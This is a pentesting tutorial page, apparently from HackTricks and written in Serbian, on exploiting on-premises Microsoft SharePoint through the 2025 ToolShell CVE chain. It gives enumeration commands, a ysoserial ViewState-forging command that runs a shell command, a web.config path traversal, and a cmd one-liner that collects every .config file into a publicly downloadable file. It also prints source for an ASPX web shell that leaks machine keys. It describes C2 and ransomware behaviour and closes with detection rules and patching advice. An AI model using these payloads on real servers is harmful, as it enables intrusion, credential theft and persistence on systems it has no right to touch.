Microsoft SharePoint – Pentesting & Exploitation

Reading time: 7 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Microsoft SharePoint (on-premises) je izgrađen na ASP.NET/IIS. Većina klasične web napadačke površine (ViewState, Web.Config, web shells, itd.) je stoga prisutna, ali SharePoint takođe dolazi sa stotinama vlasničkih ASPX stranica i web servisa koji dramatično povećavaju izloženu napadačku površinu. Ova stranica prikuplja praktične trikove za enumeraciju, eksploataciju i persistenciju unutar SharePoint okruženja sa naglaskom na 2025. exploit lanac koji je otkrio Unit42 (CVE-2025-49704/49706/53770/53771).

1. Quick enumeration

# favicon hash and keywords
curl -s https://<host>/_layouts/15/images/SharePointHome.png
curl -s https://<host>/_vti_bin/client.svc | file -  # returns WCF/XSI

# version leakage (often in JS)
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"

# interesting standard paths
/_layouts/15/ToolPane.aspx               # vulnerable page used in 2025 exploit chain
/_vti_bin/Lists.asmx                     # legacy SOAP service
/_catalogs/masterpage/Forms/AllItems.aspx

# enumerate sites & site-collections (requires at least Anonymous)
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>

2. 2025 exploit chain (a.k.a. “ToolShell”)

2.1 CVE-2025-49704 – Code Injection on ToolPane.aspx

/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload> omogućava umetanje proizvoljnog Server-Side Include koda na stranicu koja se kasnije kompajlira od strane ASP.NET. Napadač može umetnuti C# koji izvršava Process.Start() i ubaciti zlonamerni ViewState.

2.2 CVE-2025-49706 – Improper Authentication Bypass

Ista stranica veruje X-Forms_BaseUrl zaglavlju da odredi kontekst sajta. Usmeravanjem na /_layouts/15/, MFA/SSO koji se primenjuje na glavnom sajtu može biti zaobiđen bez autentifikacije.

2.3 CVE-2025-53770 – Unauthenticated ViewState Deserialization → RCE

Kada napadač kontroliše uređaj u ToolPane.aspx, može poslati nepotpisanu (ili samo MAC) __VIEWSTATE vrednost koja pokreće .NET deserializaciju unutar w3wp.exe što dovodi do izvršenja koda.

Ako je potpisivanje omogućeno, ukradite ValidationKey/DecryptionKey iz bilo kog web.config (vidi 2.4) i falsifikujte payload pomoću ysoserial.net ili ysodom:

ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt

Za detaljno objašnjenje o zloupotrebi ASP.NET ViewState pročitajte:

Exploiting __VIEWSTATE without knowing the secrets

2.4 CVE-2025-53771 – Putanja Traversal / web.config Otkriće

Slanjem kreiranog Source parametra na ToolPane.aspx (npr. ../../../../web.config) vraća se ciljani fajl, omogućavajući curenje:

  • <machineKey validationKey="…" decryptionKey="…"> ➜ falsifikovanje ViewState / ASPXAUTH kolačića
  • stringovi za konekciju i tajne.

3. Post-exploitation recepti zabeleženi u prirodi

3.1 Ekstraktovati svaki .config fajl (varijacija-1)

cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"

Rezultantni debug_dev.js može se preuzeti anonimno i sadrži sve osetljive konfiguracije.

3.2 Postavljanje ASPX web shell-a kodiranog u Base64 (varijacija-2)

powershell.exe -EncodedCommand <base64>

Primer dekodirane payload (skraćeno):

csharp
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
Response.Write(MachineKey.ValidationKey);
// echo secrets or invoke cmd
}
</script>

Napisano za:

C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx

Ljuska izlaže krajnje tačke za čitati / rotirati mašinske ključeve što omogućava falsifikovanje ViewState i ASPXAUTH kolačića širom farme.

3.3 Obfuskovana varijanta (varijacija-3)

Ista ljuska, ali:

  • postavljena pod ...\15\TEMPLATE\LAYOUTS\
  • imena promenljivih svedena na jednoslovne
  • Thread.Sleep(<ms>) dodato za izbegavanje peska i zaobilaženje AV-a zasnovano na vremenu.

3.4 AK47C2 multi-protokol backdoor & X2ANYLOCK ransomware (posmatrano 2025-2026)

Nedavne istrage odgovora na incidente (Unit42 “Project AK47”) pokazuju kako napadači koriste ToolShell lanac posle inicijalnog RCE da implementiraju dvokanalni C2 implantat i ransomware u SharePoint okruženjima:

AK47C2 – dnsclient varijanta

  • Hard-kodirani DNS server: 10.7.66.10 koji komunicira sa autoritativnom domenom update.updatemicfosoft.com.
  • Poruke su JSON objekti XOR-enkriptovani sa statičkim ključem VHBD@H, heksadecimalno kodirani i ugrađeni kao sub-domen etikete.
json
{"cmd":"<COMMAND>","cmd_id":"<ID>"}
  • Dugi upiti su podeljeni i prefiksirani sa s, zatim ponovo sastavljeni na strani servera.
  • Server odgovara u TXT zapisima koji nose istu XOR/heksadecimalnu shemu:
json
{"cmd":"<COMMAND>","cmd_id":"<ID>","type":"result","fqdn":"<HOST>","result":"<OUTPUT>"}
  • Verzija 202504 je uvela pojednostavljeni format <COMMAND>::<SESSION_KEY> i oznake za delove 1, 2, a.

AK47C2 – httpclient varijanta

  • Ponovo koristi istu JSON & XOR rutinu, ali šalje heksadecimalni blob u HTTP POST telu putem libcurl (CURLOPT_POSTFIELDS, itd.).
  • Isti tok zadatka/rezultata omogućava:
  • Izvršavanje proizvoljnih shell komandi.
  • Dinamički interval spavanja i uputstva za prekid.

X2ANYLOCK ransomware

  • 64-bitni C++ payload učitan kroz DLL side-loading (vidi ispod).
  • Koristi AES-CBC za podatke o datotekama + RSA-2048 za obavijanje AES ključa, zatim dodaje ekstenziju .x2anylock.
  • Rekurzivno enkriptuje lokalne diskove i otkrivene SMB deljene resurse; preskoči sistemske putanje.
  • Ostavlja belešku u čistom tekstu Kako da dekriptujem svoje podatke.txt koja sadrži statički Tox ID za pregovore.
  • Sadrži unutrašnji prekidač:
c
if (file_mod_time >= "2026-06-06") exit(0);

DLL side-loading lanac

  1. Napadač piše dllhijacked.dll/My7zdllhijacked.dll pored legitimnog 7z.exe.
  2. SharePoint-om pokrenut w3wp.exe pokreće 7z.exe, koji učitava zlonamerni DLL zbog Windows redosleda pretrage, pozivajući ulaznu tačku ransomware-a u memoriji.
  3. Posmatran je odvojen LockBit loader (bbb.msiclink_x86.execlink_dll_x86.dll) koji dekriptuje shell-code i vrši DLL hollowing u d3dl1.dll da pokrene LockBit 3.0.

info

Isti statički Tox ID pronađen u X2ANYLOCK pojavljuje se u procurenim LockBit bazama podataka, što sugeriše preklapanje partnera.


4. Ideje za detekciju

TelemetrijaZašto je sumnjiva
w3wp.exe → cmd.exeRadni proces retko treba da pokreće shell
cmd.exe → powershell.exe -EncodedCommandKlasičan lolbin obrazac
Događaji datoteka koji kreiraju debug_dev.js ili spinstall0.aspxIOCs direktno iz ToolShell
ProcessCmdLine CONTAINS ToolPane.aspx (ETW/Module logs)Javne PoCs pozivaju ovu stranicu

Primer XDR / Sysmon pravila (pseudo-XQL):

proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powershell.exe")

5. Ojačavanje i ublažavanje

  1. Patch – Jul 2025 bezbednosne ispravke rešavaju sve četiri CVE.
  2. Rotirajte svaki <machineKey> i ViewState tajne nakon kompromitacije.
  3. Uklonite LAYOUTS dozvolu za pisanje iz WSS_WPG i WSS_ADMIN_WPG grupa.
  4. Blokirajte spoljašnji pristup /_layouts/15/ToolPane.aspx na proxy/WAF nivou.
  5. Omogućite ViewStateUserKey, MAC enabled, i prilagođeni EventValidation.

Povezani trikovi

  • IIS post-ekspolatacija i zloupotreba web.config:

IIS - Internet Information Services

Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks